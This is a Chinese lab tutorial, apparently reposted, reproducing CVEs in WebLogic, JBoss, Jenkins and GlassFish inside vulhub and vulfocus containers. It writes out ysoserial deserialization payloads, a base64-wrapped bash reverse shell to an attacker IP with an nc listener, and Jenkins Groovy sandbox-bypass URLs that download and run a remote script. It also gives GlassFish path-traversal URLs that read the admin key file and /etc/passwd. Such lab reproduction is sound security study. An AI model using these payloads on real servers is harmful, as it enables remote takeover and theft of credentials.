中间件安全-CVE复现WeblogicJenkinsGlassFish漏洞复现

目录

  • 服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
    • 中间件-Weblogic安全问题
      • 漏洞复现
        • CVE_2017_3506漏洞复现
    • 中间件-JBoos安全问题
      • 漏洞复现
        • CVE-2017-12149漏洞复现
        • CVE-2017-7504漏洞复现
    • 中间件-Jenkins安全问题
      • 漏洞复现
        • CVE-2017-1000353漏洞复现
        • CVE-2018-1000861漏洞复现
    • 中间件-Glassfish安全问题
      • 漏洞复现
        • CVE-2017-1000028漏洞复现

服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

中间件及框架列表： IIS，Apache，Nginx，Tomcat，Docker，Weblogic，JBoos，WebSphere， Jenkins ，GlassFish，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp， Spring，Flask，jQuery等
1、中间件-Weblogic安全
2、中间件-JBoos安全
3、中间件-Jenkins安全
4、中间件-GlassFish安全

常见中间件的安全测试：
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

中间件安全测试流程：
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程：
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-Weblogic安全问题

详解：weblogic详解

介绍：
Java应用服务器软件
WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
探针默认端口：7001，Weblogic是Oracle公司推出的J2EE应用服务器

安全问题：

CVE_2017_3506
CVE_2018_2893
CVE_2018_3245
CVE-2018-2628 反序列化
CVE_2020_14882
CVE_2021_2394 反序列化
CVE-2023-21839 反序列化
…

以上的漏洞基本都可以使用现成熟的工具进行直接攻击利用。

漏洞复现

以CVE_2017_3506为例（其他编号漏洞利用基本类似，直接上工具，点一点~）：

CVE_2017_3506漏洞复现

靶场：vulfocus
开启环境：
image.png
访问：
image.png
直接将url信息放入到工具当中进行检测：
存在漏洞，可直接进行命令执行：
image.png

image.png
其他漏洞编号利用方式类似，直接放入到工具当中进行检测，存在就存在，可直接执行命令或者上传，注入等操作。

手工操作复现：weblogic反序列漏洞复现

中间件-JBoos安全问题

详解：Jboss详解

介绍：
J2EE的开放源代码的应用服务器
是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。

Jboss通常占用的端口是1098，1099，4444，4445，8080，8009，8083，8093这 几个，Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

安全问题：

CVE-2017-12149
CVE-2017-7504
弱口令 未授权访问
…

漏洞复现

CVE-2017-12149漏洞复现

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

靶场：vulhub
参考：JBoss 5.x/6.x 反序列化漏洞
image.png

开启环境：
image.png

访问：
image.png
漏洞利用：

payload：
//反弹shell命令：
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后：
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用：
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//curl命令进行请求访问，发送：
curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
//接收端开启监听
nc -lvvp 8888

在ysoserial工具目录下生成了poc.ser文件：
image.png

发送curl请求：
image.png

监听端成功接收，反弹shell成功：
image.png

CVE-2017-7504漏洞复现

介绍：
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

靶场：vulhub
参考：JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
image.png

开启环境：
image.png

访问：
image.png
漏洞利用：

//此漏洞和CVE-2017-12149利用方式差不多，区别就是请求地址内容不同
payload:
//反弹shell命令：
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后：
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用：
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//进行curl请求：
curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
//接收端开启监听：
nc -lvvp 8888

发送curl请求：
image.png

监听端成功接收，反弹shell成功：
image.png

中间件-Jenkins安全问题

详解：Jenkins详解
介绍：

开源软件项目
Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成。
探针默认端口：8080

安全问题：

CVE-2017-1000353

CVE-2018-1000861

…

漏洞复现

CVE-2017-1000353漏洞复现

靶场：vulfocus
或vulhub
参考：Jenkins-CI 远程代码执行漏洞
vulhub环境：
image.png

vulfocus环境：
image.png
开启靶场：
image.png

访问:
image.png

漏洞利用：
工具地址：CVE-2017-1000353
JDK版本需要为jdk-8u291，其他版本可能失效，无法复现成功
下载地址：JDK8

payload：
//执行命令，创建文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//然后回到我们的靶机中打开终端输入以下命令，查看验证是否利用成功
docker ps -a
docker exec -it 838723a23ad0 /bin/bash
ls /

image.png

反弹shell命令：

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}//反弹shell操作：
//将刚刚执行创建文件的命令，换成该反弹shell命令即可（base64加密后的）
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//接收端开启监听
nc -lvvp 8888

image.png
注意JDK版本，否则可能无法复现。

CVE-2018-1000861漏洞复现

靶场：vulhub
参考：Jenkins远程命令执行漏洞
image.png
开启环境：
image.png

访问：
image.png

漏洞利用：
exp下载地址：CVE-2018-1000861EXP

//使用exp脚本可直接利用，python2下使用
payload：
python2 exp.py python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"//进入靶场环境进行验证：
docker ps
docker exec -it 靶场id /bin/bash
ls /tmp/

使用说明：
image.png

使用方式：
image.png

验证是否成功：
成功创建文件
image.png

还可以进行手工测试：

手工检测：
poc：
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
payload:
创建文件：
//发送以下请求：
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}

image.png

验证：
成功创建
image.png

反弹shell：

payload：
//反弹shell命令进行base64加密
python2 exp.py http://192.168.100.134:8080  "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//接收端开启监听
nc -lvvp 8888

image.png

成功反弹shell：
image.png

ps:如果不能反弹，可在服务端创建文本文件，将反弹shell命令写进文本文件当中。然后python开启http服务,观察状态。

//开启http服务：
python -m http.server 8080//python2执行exp脚本，将远程文件保存至目标主机
python2 exp.py 目标主机 "curl -o /tmp/cmd.sh  http://xxxx:8080/cmd.txt"//python2执行exp脚本，使目标主机运行脚本文件反弹shel
python2 exp.py 目标主机 "bash /tmp/cmd.sh"

image.png

http服务端可观察状态：
image.png

进入靶场验证，存在该文件：
image.png
接下来使用python2脚本exp命令进行执行即可。

还可以手工浏览器访问，依次执行：

payload：
//这里拿本地演示
//将文件保存到目标主机：
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8888/cmd.txt".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}//执行shell脚本
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}

访问时，浏览器变为空白界面：
执行成功
image.png

中间件-Glassfish安全问题

介绍：
GlassFish详解

一款商业应用服务器
GlassFish 是一款强健的商业兼容应用服务器，达到产品级质量，可免费用于开发、部署和重新分发。开发者可以免费获得源代码，还可以对代码进行更改。

安全问题：

CVE-2017-1000028
…

漏洞复现

CVE-2017-1000028漏洞复现

漏洞原理：

java语言中会把%c0%ae解析为\uC0AE，最后转义为ASCCII字符的.（点）。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转，达到目录穿越、任意文件读取的效果。

靶场：vulhub
参考：GlassFish 任意文件读取漏洞
image.png

开启环境：
image.png

进入环境，访问：
环境运行后，访问http://your-ip:8080和http://your-ip:4848即可查看web页面。其中，8080端口是网站内容，4848端口是GlassFish管理中心。
image.png

payload:
//读取密码：
https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile//linux下读取文件：
https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd//window下读取文件：
http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

成功读取密码：
image.png

成功读取文件：
image.png

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/114983.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

idea设置字体大小快捷键 Ctrl+鼠标上下滑 字体快捷键缩放设置

idea设置字体大小快捷键 Ctrl+鼠标上下滑 字体快捷键缩放设置

双击 按住ctrl鼠标滑轮上划放大就好了 这个双击设置为，Ctrl鼠标下滑 字体缩小就好了
阅读更多...
03-垃圾收集策略与算法

03-垃圾收集策略与算法

垃圾收集策略与算法 程序计数器、虚拟机栈、本地方法栈随线程而生，也随线程而灭；栈帧随着方法的开始而入栈，随着方法的结束而出栈。这几个区域的内存分配和回收都具有确定性，在这几个区域内不需要过多考虑回收的问题，因…
阅读更多...
手把手创建属于自己的ASP.NET Croe Web API项目

手把手创建属于自己的ASP.NET Croe Web API项目

第一步：创建项目的时候选择ASP.NET Croe Web API 点击下一步，然后配置： 下一步：
阅读更多...
Adobe Photoshop 基本操作

Adobe Photoshop 基本操作

PS快捷键 图层 选择图层 Ctrl T：可以对图层的大小和位置进行调整 填充图层 MAC: AltBackspace (前景) or CtrlBackspace (背景) WINDOWS: AltDelete (前景) or CtrlDelete (背景) 快速将图层填充为前景色或背景色 平面化图层（盖印图层&#xff09…
阅读更多...
性能测试LoadRunner02

性能测试LoadRunner02

本篇主要讲：通过Controller设计简单的测试场景，可以简单的分析性能测试报告。 Controller 设计场景 Controller打开方式 1）通过VUG打开 2）之间双击Controller 不演示了，双击打开，选择Manual Scenario自…
阅读更多...
《视觉 SLAM 十四讲》V2 第 9 讲 后端优化1 【扩展卡尔曼滤波器 EKF BA+非线性优化(Ceres、g2o)】

《视觉 SLAM 十四讲》V2 第 9 讲 后端优化1 【扩展卡尔曼滤波器 EKF BA+非线性优化(Ceres、g2o)】

文章目录 第9讲 后端19.1.2 线性系统和 KF9.1.4 扩展卡尔曼滤波器 EKF 不足 9.2 BA 与 图优化9.2.1 投影模型和 BA 代价函数9.2.2 BA 的求解9.2.3 稀疏性 和 边缘化9.2.4 鲁棒核函数 9.3 实践： Ceres BA 【Code】本讲 CMakeLists.txt 9.4 实践：g2o 求解 …
阅读更多...
100 # mongoose 的使用

100 # mongoose 的使用

mongoose elegant mongodb object modeling for node.js https://mongoosejs.com/ 安装 mongoose npm i mongoose基本示例 const mongoose require("mongoose");// 1、连接 mongodb let conn mongoose.createConnection("mongodb://kaimo313:kaimo313loc…
阅读更多...
如何从小白成长为AI工程师笔记

如何从小白成长为AI工程师笔记

📚入门机器学习基础 对于本科生来说，需要打好数学基础，包括高数、概率论和线性代数。 对于已经上研究生或工作想转行的人来说，可以直接开始学习机器学习算法，重要的是理解算法的原理和推导过程。如果有时间和需要&am…
阅读更多...
Roslyn 去除多余using

Roslyn 去除多余using

原因 当你添加新代码的时候VS会自动帮你添加对应的using，但是它只会帮你加不会帮你减 由于运行时并不能使用UnityEditor命名空间里面的东西。你就算加了也会在打包的时候给你报错，除非使用宏包裹起来 因为我们打包都是在打包机上操作的。一般情况下自己…
阅读更多...
vue3 拖拽插件 Vue3DraggableResizable

vue3 拖拽插件 Vue3DraggableResizable

Vue3DraggableResizable 拖拽插件的官方文档 一、Vue3DraggableResizable 的属性和事件 1、Vue3DraggableResizable 的属性配置 属性类型默认值功能描述示例initWNumbernull设置初始宽度&#xff08;px&#xff09;<Vue3DraggableResizable :initW“100” />initHNumb…
阅读更多...
sql高级教程-索引

sql高级教程-索引

文章目录 架构简介1.连接层2.服务层3.引擎层4.存储层 索引优化背景目的劣势分类基本语法索引结构和适用场景 性能分析MySq| Query Optimizerexplain 索引优化单表优化两表优化三表优化 索引失效原因 架构简介 1.连接层 最上层是一些客户端和连接服务&#xff0c;包含本地sock通…
阅读更多...
1 Go的前世今生

1 Go的前世今生

概述 Go语言正式发布于2009年11月&#xff0c;由Google主导开发。它是一种针对多处理器系统应用程序的编程语言&#xff0c;被设计成一种系统级语言&#xff0c;具有非常强大和有用的特性。Go语言的程序速度可以与C、C相媲美&#xff0c;同时更加安全&#xff0c;支持并行进程。…
阅读更多...
[架构之路-241]：目标系统 - 纵向分层 - 企业信息化与企业信息系统（多台企业应用单机组成的企业信息网络）

[架构之路-241]：目标系统 - 纵向分层 - 企业信息化与企业信息系统（多台企业应用单机组成的企业信息网络）

目录 前言&#xff1a; 一、什么是信息系统&#xff1a;计算机软件硬件系统 1.1 什么是信息 1.2 什么是信息系统 1.3 什么是信息技术 1.4 什么是信息化与信息化转型 1.5 什么是数字化与数字化转型&#xff08;信息化的前提&#xff09; 1.6 数字化与信息化的比较 1.7 …
阅读更多...
力扣每日一题58：最后一个单词的长度

力扣每日一题58：最后一个单词的长度

题目描述&#xff1a; 给你一个字符串 s&#xff0c;由若干单词组成&#xff0c;单词前后用一些空格字符隔开。返回字符串中 最后一个 单词的长度。 单词 是指仅由字母组成、不包含任何空格字符的最大子字符串。 示例 1&#xff1a; 输入&#xff1a;s "Hello World&q…
阅读更多...
Arduino IDE + Esp32 Cam + 实现视频流 + 开发环境部署

Arduino IDE + Esp32 Cam + 实现视频流 + 开发环境部署

1、开发环境 Arduino ide 版本&#xff1a;2.2.1 esp32工具&#xff1a;2.0.5 示例代码 #include "esp_camera.h" #include <WiFi.h>// // WARNING!!! PSRAM IC required for UXGA resolution and high JPEG quality // Ensure ESP32 Wrover Modu…
阅读更多...
Zookeeper、Kafka集群与Filebeat+Kafka+ELK架构、部署实例

Zookeeper、Kafka集群与Filebeat+Kafka+ELK架构、部署实例

Zookeeper、Kafka集群与FilebeatKafkaELK架构、部署实例 一、Zookeeper1.1、Zookeeper 定义1.2、Zookeeper 工作机制1.3、Zookeeper 特点1.4、Zookeeper 数据结构1.5、Zookeeper 应用场景1.5、Zookeeper 选举机制1.5.1、 第一次启动选举机制1.5.2、 非第一次启动选举机制 二、Z…
阅读更多...
二、UI入门

二、UI入门

1. QWidget类 QWidget类是Qt所有图形用户界面&#xff08;组件&#xff09;的基类&#xff0c;因此QWidget类内部规定了所有最基础的UI相关功能。例如以下成员&#xff1a; ● width : const int 宽度&#xff08;单位&#xff1a;像素&#xff0c;后文同&#xff09; Qt中的…
阅读更多...
优先级总结

优先级总结

目录 越小越优先 1.路由协议 2.路由开销 3.STP 4.Ethernet-trunk&#xff08;LACP&#xff09; 越大越优先 1.VRRP 2.Router-id 3.DR/BDR 越小越优先 1.路由协议 取值范围&#xff1a;0~255 直连路由0 静态路由/默认路由60 RIP路由100 OSPF路由10或150 BGP路由255 2…
阅读更多...
数据结构-树的概念结构及存储

数据结构-树的概念结构及存储

&#x1f5e1;CSDN主页&#xff1a;d1ff1cult.&#x1f5e1; &#x1f5e1;代码云仓库&#xff1a;d1ff1cult.&#x1f5e1; &#x1f5e1;文章栏目&#xff1a;数据结构专栏&#x1f5e1; 目录 一、树的基本概念及结构 1树的概念 2树的存储 二、二叉树的概念及结构 1二叉树的概…
阅读更多...
2023-python pdf转换为PPT代码

2023-python pdf转换为PPT代码

from pdf2image import convert_from_path from pptx import Presentation from pptx.util import Inches import os# 用户输入PDF文件路径 pdf_file_path input("请输入PDF文件的路径&#xff1a;")# 提取文件名&#xff08;不包括扩展名&#xff09;作为PPT文件名…
阅读更多...
最新文章

Copyright @ 2022~2023